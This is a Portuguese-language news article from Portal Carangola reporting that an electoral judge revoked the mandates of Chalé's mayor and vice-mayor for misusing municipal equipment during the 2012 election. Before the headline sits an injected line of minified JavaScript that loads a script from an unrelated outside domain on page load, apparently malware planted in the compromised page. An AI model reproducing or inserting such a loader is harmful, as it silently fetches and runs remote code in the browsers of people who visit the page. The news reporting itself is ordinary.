;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Justiça Eleitoral cassa diplomas de prefeito e vice de Chalé - Irão recorrer ao TRE-MG - Portal Carangola

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Justiça Eleitoral cassa diplomas de prefeito e vice de Chalé – Irão recorrer ao TRE-MG

O Juiz Eleitoral de Lajinha Dr. Rafael Murad Brumana determinou a cassação do Prefeito de Chalé, Elmir Batista de Melo, e do vice Willi Arnaldo Kaizer Júnior, bem como a realização de nova eleição no município. A sentença foi publicada nesta quinta, 07, e cabe recurso ao Tribunal Regional Eleitoral, em Belo Horizonte.O Ministério Público Eleitoral ajuizou ação de investigação judicial eleitoral contra Elmir Batista de Melo e Willi Kaizer Junior, reeleitos nas eleições municipais de 2012, requerendo a declaração de inelegibilidade e a cassação do registro da candidatura dos investigados, sob a alegação de utilização de equipamento e bens públicos em favor de particulares em período eleitoral e abuso de poder político.Na defesa, eles admitiram que houve o serviço, mas alegaram que ele era prestado pelo município de Chalé aos particulares e que se trata de programa agrícola executado de forma continuada, previsto na Lei Orgânica do Município.  Informaram que essa atividade é desenvolvida não só em período eleitoral, mas acontece regularmente em todo o território do município, beneficiando indistintamente todos os micro e pequenos proprietários rurais.Em audiência, foram ouvidas quatro testemunhas do Ministério Público e três dos dois investigados.De acordo com o juiz, a inicial narra que prefeito e vice determinaram a execução de obras de terraplanagem em terrenos rurais localizados nos Córregos Água Limpa, do Recreio e Santaninha, utilizando-se de bens e servidores públicos, em período eleitoral.Dr. Rafael Brumana destacou na sentença que “a promoção desses serviços de terraplanagem em terrenos privados desequilibra o jogo de forças no processo eleitoral, fere de morte o princípio da isonomia de oportunidades entre os candidatos e é potencialmente capaz de afetar a normalidade e legitimidade das eleições, o que é mais que suficiente para cassar-lhes o registro da candidatura e acarretar-lhes a inelegibilidade”.
Na conclusão, o magistrado diz que os benefício representa um desequilíbrio de forças no processo eleitoral, já que em localidades tão pequenas como Chalé, em que a diferença entre perdedores e vencedores não passa de um punhado de votos, nenhuma irregularidade pode ser desprezada.Por fim, o juiz julgou procedente a ação, cassou os diplomas do prefeito Elmir Batista e do vice Willi Kaizer Júnior, declarou a inelegibilidade deles por oito anos e aplicou a multa de 10 mil UFIRS para cada um.Ainda na sentença, determinou o afastamento imediato dos dois e a realização de novas eleições para prefeito e vice. Enquanto isso, determinou que assumirá o cargo, o presidente da Câmara Municipal.A defesa do prefeito e do vice vai recorrer ao Tribunal Regional Eleitoral.

Portal Caparaó com informações da Justiça Eleitoral


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